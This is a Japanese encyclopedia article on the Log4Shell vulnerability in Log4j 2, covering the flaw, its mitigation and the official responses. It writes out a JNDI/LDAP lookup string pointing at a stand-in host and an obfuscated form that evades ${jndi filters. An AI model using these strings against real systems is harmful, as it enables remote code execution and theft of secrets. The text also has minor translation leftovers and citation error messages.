Log4Shell
CVE 識別子 | CVE-2021-44228 |
---|---|
発見日時 | 2021年11月24日 |
修正日時 | 2021年12月6日 |
発見者 | Alibaba CloudセキュリティチームのChen Zhaojun[1] |
影響を受ける ソフトウェア | Log4j 2を使用してユーザー入力をロギングしているアプリケーション |
Log4Shell(別名Common Vulnerabilities and Exposures CVE-2021-44228)は、よく使われているJavaログフレームワークのLog4jで発見されたゼロデイの任意コード実行脆弱性である[2][3]。この脆弱性は、2021年11月24日にAlibabaのクラウドセキュリティチームによって秘密裏にApacheに報告され、2021年12月9日に一般に公開された[1][4][5]。
この脆弱性は、Log4jがLDAPとJNDIのリクエストをチェックしないことを利用している。これにより、攻撃者は任意のJavaコードをサーバーや他のコンピュータ上で実行できてします。影響を受けるサービスとしては、Amazon AWS[6]、Cloudflare、iCloud、JavaバージョンのMinecraft[7]、Steam、Tencent QQ[8][9]などがある。この脆弱性を、LunaSecは「壊滅的な割合の設計上の失敗」[5]、Tenableは「過去10年間で最大かつ最も重大な単一の脆弱性」と特徴づけた[10]。Log4jを擁するApache Software Foundationは、Log4ShellをCVSSの評価を最大の10に指定した[11]。
背景
Log4jは、ソフトウェア開発者がアプリケーション内のさまざまなデータをロギングできるようにするオープンソースのログフレームワークである。ログデータにはユーザー入力が含まれる場合があるlo。Log4jは幅広いJavaアプリケーション、特にエンタープライズのソフトウェアで利用されている[5]。もともとは2001年にCeki Gülcüによって書かれ、現在はApache Software FoundationのApache Logging Servicesの一部となっている[12]。
動作
Java Naming and Directory Interface(JNDI)を使用すると、実行時にデータへのパスを指定してJavaオブジェクトがルックアップできるようになる。JNDIではいくつかのディレクトリインターフェイスを利用でき、各インターフェイスはファイルを検索するために異なるスキームを提供している。これらのインターフェースの中に、Java以外でも利用されるLightweight Directory Access Protocol(LDAP)プロトコルがあり[13]、ローカルまたはインターネット上の任意の場所にある適切なサーバーからURLとしてオブジェクトデータを取得する[14]。
デフォルトの設定では、文字列をロギングする際に、Log4j 2は ${prefix:name}
という形式の式で文字列置換を実行する[14]。たとえば、Text: ${java:version}
はText: Java version 1.7.0_67
などの文字列に置換される[15]。認識される式の中には、$ {jndi:<lookup>}がある。LDAPを経由したルックアップを指定することにより、任意のURLに問い合わせが行われ、Javaオブジェクトデータとしてロードされる。たとえば、${jndi:ldap://example.com/file}
は、インターネットに接続されていた場合、指定したURLからデータを読み込む。したがって、ログに記録される文字列を入力することで、攻撃者は公開URLでホストされた悪意のあるコードを読み込ませることが可能になる[14]。たとえデータの実行自体が無効化されていたとしても、攻撃者はURLに特定の文字列を含めることで、たとえば秘密にすべき環境変数などのデータを攻撃者のサーバーに送信できる[16][17]。
HTTPリクエストはロギングされることが多いため、よくある攻撃ベクターは、HTTPリクエストのURLや、ログに書かれることが多いUser-Agent
などのHTTPヘッダに悪意のある文字列を置くことである。初期の緩和策の1つは、${jndi
などの文字列を含むすべてのリクエストをブロックすることだった[18]。しかし、単純な検索はリクエストを難読化することで回避できてしまう。たとえば、${${lower:j}ndi
は、文字jを小文字にする操作が実行されたあとにJNDIルックアップに変換されてしまう[19]。入力がすぐにログに記録されなかったとしても、後に内部処理中にログに記録されて実行されてしまう可能性もある[14]。
緩和
この脆弱性の修正は、脆弱性が公開される3日前の2021年12月6日に、Log4jバージョン2.15.0-rc1でリリースされた[20]。修正にはルックアップに使用できるサーバーとプロトコルの制限が含まれ、複数のシステムプロパティを使用して設定できる。修正は、システムプロパティlog4j2.formatMsgNoLookups
を置き換えるものである。2.10.0以降のバージョンでは、脆弱性を緩和するためにlog4j2.formatMsgNoLookups
をtrue
に設定することが推奨されている[21][22][11]。2.10.0以前のバージョンでは、クラスorg.apache.logging.log4j.core.lookup.
JndiLookup
をclasspathから削除する必要がある[11]。
さらに、バージョン2.15.1以降は、JNDIを使用するすべての機能はデフォルトで無効になる[23]。
新しいバージョンのJava Runtime Environment(JRE)は、リモートコードがデフォルトでロードされないようにブロックすることでこの脆弱性を緩和できるが、特定のアプリケーションには他の攻撃ベクターがまだ存在する[16][2][24]。脆弱性のあるlog4jのバージョンの発見を助けるためにいくつかの手法とツールが公開されている[25]。
反応と影響
アメリカ合衆国では、サイバーセキュリティ・インフラストラクチャ・セキュリティ庁(CISA)の長官Jen Easterlyがエクスプロイトを「致命的(critical)」と述べ、ようベンダーにソフトウェアアップデートを優先するようアドバイスを出した[26]。termed the exploit "critical" and advised vendors to prioritize software updates,[26] and the カナダカナダサイバーセキュリティセンター(CCCS)は、さまざまな組織に直ちに対応を取るように呼びかけた[27]。ドイツ連邦情報セキュリティ庁(BSI)は、この脆弱性を政府機関の最高の脅威レベルにあると指定し、「非常に重大な脅威の状況」と呼んだ。また、いくつかの攻撃がすでに成功しており、エクスプロイトの範囲を評価するのは依然として難しいと報告した[28][29]。
Cloudflare CEOのMatthew Princeによると、エクスプロイトの利用またはテストを示すエビデンスは、一般に公開される9日前の早くも12月1日に遡る[30]。 サイバーセキュリティ会社のGreyNoiseによれば、いくつかのIPアドレスが脆弱性のあるサーバーをチェックするためにウェブサイトをスクレイピングしている[31]。カナダ歳入庁は、エクスプロイトが発覚してから一時的にオンラインサービスをシャットダウンし、ケベック州政府は「予防措置(preventative measure)」として約4000のウェブサイトを閉鎖した[32]。
システム管理者は、状況を評価し、ライブラリを更新またはシステムプロパティを使用してルックアップを無効にする緩和策を可能な限り迅速に実行するようにアドバイスされた[33]。
出典
- ^ a b “Log4Shell Vulnerability is the Coal in our Stocking for 2021” (英語). McAfee (2021年12月10日). 2021年12月12日閲覧。
- ^ a b “Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package” (英語). www.lunasec.io (2021年12月9日). 2021年12月12日閲覧。 引用エラー: 無効な
<ref>
タグ; name "lunasec"が異なる内容で複数回定義されています - ^ “CVE - CVE-2021-44228”. cve.mitre.org. 2021年12月12日閲覧。
- ^ “Worst Apache Log4j RCE Zero day Dropped on Internet”. www.cyberkendra.com (2021年12月9日). 2021年12月12日閲覧。
- ^ a b c Newman, Lily Hay. “‘The Internet Is on Fire’” (英語). Wired. ISSN 1059-1028 2021年12月12日閲覧。
- ^ “Update for Apache Log4j2 Issue (CVE-2021-44228)”. aws.amazon.com (2021年12月12日). 2021年12月13日閲覧。
- ^ “Security Vulnerability in Minecraft: Java Edition”. Mojang Studios. 2021年12月13日閲覧。
- ^ “Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit” (英語). PC Magazine. 2021年12月12日閲覧。
- ^ Goodin (2021年12月10日). “The Internet's biggest players are all affected by critical Log4Shell 0-day”. ArsTechnica. 2021年12月13日閲覧。
- ^ Press (2021年12月11日). “Recently uncovered software flaw ‘most critical vulnerability of the last decade’” (英語). The Guardian. 2021年12月12日閲覧。
- ^ a b c “Log4j – Apache Log4j Security Vulnerabilities”. logging.apache.org. 2021年12月12日閲覧。 引用エラー: 無効な
<ref>
タグ; name "security"が異なる内容で複数回定義されています - ^ “Log4j – Apache Log4j 2”. logging.apache.org. 2021年12月12日閲覧。
- ^ Network Working Group (2006年6月). “RFC 4511: Lightweight Directory Access Protocol (LDAP)”. International Electronic Task Force. 2021年12月13日閲覧。
- ^ a b c d Graham-Cumming (2021年12月10日). “Inside the Log4j2 vulnerability (CVE-2021-44228)” (英語). The Cloudflare Blog. 2021年12月13日閲覧。
- ^ “Lookups”. Apache Logging Services. Apache Software Foundation (2021年12月6日). 2021年12月13日閲覧。
- ^ a b Ducklin (2021年12月12日). “Log4Shell explained – how it works, why you need to know, and how to fix it”. Naked Security. Sophos. 2021年12月12日閲覧。
- ^ Miessler (2021年12月13日). “The log4j (Log4Shell) Situation”. 2021年12月12日閲覧。
- ^ Gabor. “CVE-2021-44228 - Log4j RCE 0-day mitigation”. The Cloudflare Blog. 2021年12月13日閲覧。
- ^ Hahad (2021年12月12日). “Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns”. 2021年12月12日閲覧。
- ^ “Restrict LDAP access via JNDI by rgoers - Pull Request #608 - apache/logging-log4j2” (英語). GitHub (2021年12月5日). 2021年12月12日閲覧。
- ^ “LOG4J2-3198: Log4j2 no longer formats lookups in messages by default” (英語). GitHub (2021年12月5日). Template:Cite webの呼び出しエラー:引数 accessdate は必須です。
- ^ Goodin (2021年12月10日). “Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet” (英語). Ars Technica. 2021年12月12日閲覧。
- ^ “LOG4J2-3208: Disable JNDI by default”. issues.apache.org (2021年12月11日). Template:Cite webの呼び出しエラー:引数 accessdate は必須です。
- ^ “Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes” (英語). Oracle (2017年1月17日). 2021年12月13日閲覧。
- ^ “Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228)” (英語). www.lunasec.io (2021年12月13日). 2021年12月13日閲覧。
- ^ a b “STATEMENT FROM CISA DIRECTOR EASTERLY ON "LOG4J" VULNERABILITY”. CISA (2021年12月11日). Template:Cite webの呼び出しエラー:引数 accessdate は必須です。
- ^ “Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action” (英語). Government of Canada (2021年12月12日). Template:Cite webの呼び出しエラー:引数 accessdate は必須です。
- ^ “BSI warnt vor Sicherheitslücke”. Tagesschau (2021年12月12日). Template:Cite webの呼び出しエラー:引数 accessdate は必須です。
- ^ “Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage” (ドイツ語). BSI press service (2021年12月12日). Template:Cite webの呼び出しエラー:引数 accessdate は必須です。
- ^ Duckett. “Log4j RCE activity began on December 1 as botnets start using vulnerability” (英語). ZDNet. 2021年12月13日閲覧。
- ^ “Apache Log4j RCE Attempts”. www.greynoise.io. 2021年12月12日閲覧。
- ^ “Facing cybersecurity threats, Quebec shuts down government websites for evaluation”. CBC News. (2021年12月12日) 2021年12月12日閲覧。
- ^ “Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation”. CISA. 2021年12月12日閲覧。